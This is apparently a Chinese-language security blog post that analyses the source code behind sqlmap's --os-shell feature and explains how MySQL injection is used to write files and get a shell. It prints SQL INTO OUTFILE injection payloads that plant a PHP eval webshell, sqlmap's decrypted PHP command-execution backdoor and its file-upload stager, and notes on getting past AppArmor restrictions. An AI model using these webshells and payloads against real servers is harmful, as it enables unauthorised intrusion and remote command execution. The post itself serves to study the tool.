- 前言
- 資料庫注入getshell
- 原始碼分析
前言
最近詳細看了@v1ll4n大佬寫的幾篇關於sqlmap原始碼分析的文章(sqlmap 核心分析)收穫頗多。藉此機會在這裡記錄一下我較感興趣的sqlmap中getshell相關部分的分析,簡單從原始碼的角度看看sqlmap是如何透過--os-shell一鍵getshell。
資料庫注入getshell
先拋開sqlmap不談,想要透過資料庫getshell大的前提條件就是有許可權並且知道相關路徑,這裡以最為熟知的mysql資料庫為例。
利用條件:
-
系統變數secure_file_priv為空或者為指定路徑
-
知道網站的絕對路徑
-
具有檔案寫許可權
以上這三個條件缺一不可:
第一,secure_file_priv
是MySQL資料庫中的一個系統變數,用於限制資料匯入和匯出操作。如果將secure_file_priv設定為一個特定的目錄路徑,則資料庫中進行檔案匯入和匯出操作時就只能對這個目錄進行操作;如果設定為NULL,則表示禁止檔案的匯入和匯出操作;如果設定為空(不是NULL)則會允許相對自由的檔案操作,沒有限制。
不同的系統和安裝方式導致secure_file_priv的預設值也會有差異。通常情況為NULL,但有的也會指定一個預設的目錄如下。
這個引數是不能透過sql語句直接修改的,因為它是一個只讀引數。如果想要修改,則只能透過修改配置檔案(windows下為my.ini,linux下為my.cnf),然後再透過重啟mysql服務的方式來使它生效。
第二,知道網站的絕對路徑。如果不知道絕對路徑,那麼菜刀這類的webshell管理工具就無法連線。
第三,具有檔案的寫許可權。如果網站目錄下面不允許寫檔案,那麼即使是知道網站的絕對路徑也沒有太大的利用價值。
接下來以linux環境(ubuntu22.04/mysql5.7.42)為例,這裡先把secure_file_priv的值改為空,為後面寫檔案提供前置條件。
常規的寫shell方式大概如下:使用union聯合查詢,再配合select ... into outfile/dumpfile ...
語句。
union select '<?php eval($_POST[a]);?>' into outfile '/var/www/html/test.php';
union select '<?php eval($_POST[a]);?>' into dumpfile '/var/www/html/test.php';
嘗試寫檔案失敗了,提示沒有許可權。
因為正常情況下我們其實並不確定mysql是否有許可權在我們指定的var/www/html目錄下寫檔案。
解決檔案寫入許可權的問題:
嘗試把/var/www/html目錄許可權改為777,沒成功。修改檔案的屬主等,均沒成功 。。。
折騰了很久,最終找到了解決方法:https://stackoverflow.com/questions/36391551/error-1-hy000-cant-create-write-to-file-errcode-13-permission-denied
原因:如果mysqld處於強制模式,那麼AppArmor就會限制程序對資源的訪問許可權,和SELinux類似AppArmor也是Linux系統下的強制訪問控制安全機制。
按照上圖給出的解決方法,編輯/etc/apparmor.d/usr.sbin.mysqld
檔案,在檔案底部的位置新增對/var/www/html目錄的讀寫控制。
修改完,再重新載入AppArmor後,這次寫入成功了。
手動寫shell都成功後,嘗試-os--shell自然也就很輕易的一鍵getshell了。
透過上面一系列的操作,其實可以看到想要直接透過mysql資料庫寫shell的方式getshell是比較困難的。那在生產環境下幾乎不可利用,這些利用條件就幾乎很難同時達成,更何況還有SELinux/AppArmor等各種訪問控制機制的阻攔。
但是沒關係!
學習學習--os-shell getshell的程式碼實現原理這並不困難o( ̄▽ ̄)o~ 接下來進入正題。
原始碼分析
如果仔細看上面使用--os-shell命令輸出的資訊,會發現它在我們提供的網站目錄下面寫入了兩個php檔案。為什麼要在目錄下面寫兩個檔案?它們都是什麼,又什麼作用?為了解釋這些問題,看sqlmap的原始碼會有一個比較清晰的答案,這也是我寫這文章的原因。
關於sqlmap的基本流程分析這裡不做介紹了,可以參考@v1ll4n大佬寫的:https://www.anquanke.com/post/id/159260
這裡只針對--os-shell這部分功能的原始碼進行簡要的分析(sqlmap版本1.8#stable)。
有關--os-shell的處理函式被定義在plugins/generic/takeover.py#Takeover.osShell裡面,takeover這裡還有關於oscmd,ospwd等作業系統接管功能的模組定義。
主要是4個步驟:
1、根據堆疊查詢可用性和配置判斷是否使用web方式,如果堆疊查詢不可用且後端資料庫管理系統是mysql,那麼就採用web後門來獲取。
2、獲取遠端臨時路徑。
3、嘗試初始化環境。
4、執行shell操作部分,以及最後清理操作部分。
函式getRemoteTempPath的主要目的是確定並返回一個用於儲存臨時檔案的遠端路徑。它會根據不同的資料庫管理系統型別、作業系統型別以及相關配置選項來確定合適的臨時檔案儲存路徑。。
接著呼叫函式initEnv(web=web)進行環境初始化。當使用web後門模式(web=True)就進行web初始化操作webInit。
函式webInit就時核心操作了,定義在lib/takeover/web.py#Web.webInit裡面。此函式用於在網站的根目錄內的一個可寫遠端目錄上寫入一個後門。其中包括確定指令碼語言(asp/jsp/php等),獲取檔案的完整路徑,選擇合適的上傳目錄,透過不同方法上傳檔案stager和後門檔案,並進行相關的測試以確保後門能夠正常執行命令。
這個函式比較長,挑重點說一下:
第一步確認應用語言:
初始化相關變數,獲取所有公開的應用語言型別,儲存在choices列表中;然後根據當前URL字尾確定預設語言;如果未根據URL字尾確定出來,那麼Windows預設就時asp,其他均為php;或者使用者輸入應用語言。
第二步準備上傳目錄和檔案內容:
首先準備上傳目錄列表directories,透過getManualDirectories函式獲取手動指定的目錄列表,呼叫getAutoDirectories函式獲取自動生成的目錄列表。然後使用正規表示式對路徑path進行處理。
這裡準備檔案stager和後門檔案內容,首先生成一個隨機的後門檔名稱(tmpb加隨機字串),然後分別獲取後門內容和stager的內容。
不妨先來看看這兩個檔案是什麼,以php指令碼為例。
這兩個檔案無法雙擊直接開啟,因為其中包含了一些惡意的程式碼,sqlmap為了防止本地的殺軟把這些檔案誤殺了,所以進行了加密處理。
不過可以透過sqlmap提供的extra/cloak/cloak.py進行解密:python cloak.py -d -i D:\Temp\sqlmap-1.8\data\shell\backdoors\backdoor.php_
解密完的backdoor.php_如下:
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)){
$z=preg_replace("/[, ]+/",',',$z);
$z=explode(',',$z);
$z=array_map("trim",$z);
}else{
$z=array();
}
$c=$c." 2>&1\n";
function f($n){
global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f("system")){
ob_start();
system($c);
$w=ob_get_clean();
}elseif(f("proc_open")){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}elseif(f("shell_exec")){
$w=shell_exec($c);
}elseif(f("passthru")){
ob_start();
passthru($c);
$w=ob_get_clean();
}elseif(f("popen")){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){$w.=fread($x,512);}
}
@pclose($x);
}elseif(f("exec")){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
echo"<pre>$w</pre>";
?>
這段php的主要就是實現一個rce的目的。透過system,proc_open,shell_exec等可用於執行外部命令的php函式進行執行獲取到的命令,繞過限制獲取命令執行的結果,最後輸出。
解密後的stager.php_如下:
<?php
if (isset($_REQUEST["upload"])){
$dir=$_REQUEST["uploadDir"];
if (phpversion()<'4.1.0'){
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}else{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
@chmod($dir."/".$file,0755);
echo "File uploaded";
}else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>
這段php實現了一個簡單的檔案上傳功能。根據php的版本來處理上傳的檔案,並將檔案移動到指定的目錄下,最後設定上傳檔案的許可權並反饋上傳成功的資訊。
第三步上傳檔案:
遍歷上傳目錄列表,拼接一個完整的stager檔案路徑,然後呼叫_webFileInject
將指定的檔案內容注入到指定目錄下。之後再透過獲取檔案stager頁面內容來檢查是否上傳成功。
關於_webFileInject函式,它是實現注入的核心部分,透過構造合適的sql查詢語句來實現檔案的上傳操作,最後再獲取執行注入操作後的頁面內容並返回。
透過getSQLSnippet函式獲取一個針對mysql資料庫write_file_limit的sql程式碼片段(data/procs/mysql/write_file_limit.sql),內容如下:
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
這裡LINES TERMINATED BY 0x%HEXSTRING%
部分用於設定每行資料結束的標記,用來定義行結束的格式。這部分就完全可以替換為我們的要寫入的檔案內容,當然是16進位制編碼後的。
透過除錯可以清楚地看到此時的payload:
admin' LIMIT 0,1 INTO OUTFILE '/var/www/tmpugaur.php' LINES TERMINATED BY ...stager檔案內容(16進位制編碼)...-- -
跳出_webFileInject函式,最後會透過獲取檔案stager頁面內容並檢查,以此來判斷是否上傳成功。
此時如果沒有上傳成功的話,就會回退到使用union查詢來上傳檔案,呼叫unionWriteFile寫檔案。
針對不同的指令碼語言,就需要不同的檔案寫入相關變數了,但寫入檔案的方式依然是不變的。
接下來就要寫後門檔案了,也就是實現遠端程式碼執行的檔案。
首先會呼叫webUpload
函式上傳後門檔案,它將檔案內容轉換為位元組流並進行流操作處理。
然後它會再呼叫_webFileStreamUpload
函式完成最終的上傳操作,_webFileStreamUpload上傳就需要藉助剛才上傳的stager檔案了,首先透過構造合適構造多部分表單資料,最後透過Request.getPage傳送請求並上傳檔案。
如果後門沒有透過webUpload函式實現上傳,則會提示採用和上傳stager檔案相同的方法上傳。
第四步執行shell操作:
當後門的url路徑不為null時,就可以呼叫執行shell操作,它定義再lib/takeover/abstraction#Abstraction.shell裡面。
首先判斷後端的型別來確定命令執行方式,接著設定命令自動補全功能,最後進入命令輸入和執行迴圈,不斷獲取使用者輸入的命令。執行命令有幾種不同的方式,這裡使用的時web後門的方式執行命令,其他先不談。
函式webBackdoorRunCmd透過後門的url來執行指定的命令,然後從返回頁面內容中提取命令執行輸出。
最後執行exit退出命令後,則會刪除已上傳的這兩個檔案。
到這裡就基本簡單的分析完了,其實關於sqlmap中getshll的還有很多可聊的,包括udf啊,還有mssql等其他資料的利用方式等等,但限於篇幅的原因不在此展開了。
參考文章
https://stackoverflow.com/questions/36391551/error-1-hy000-cant-create-write-to-file-errcode-13-permission-denied
https://xz.aliyun.com/t/7942?time__1311=n4%2BxnD0DyDu73AKex05%2Bb8DOiGC7iQ8oi74D
https://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247485339&idx=1&sn=ea76ee0d56b8a95a118a60d111d48160
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ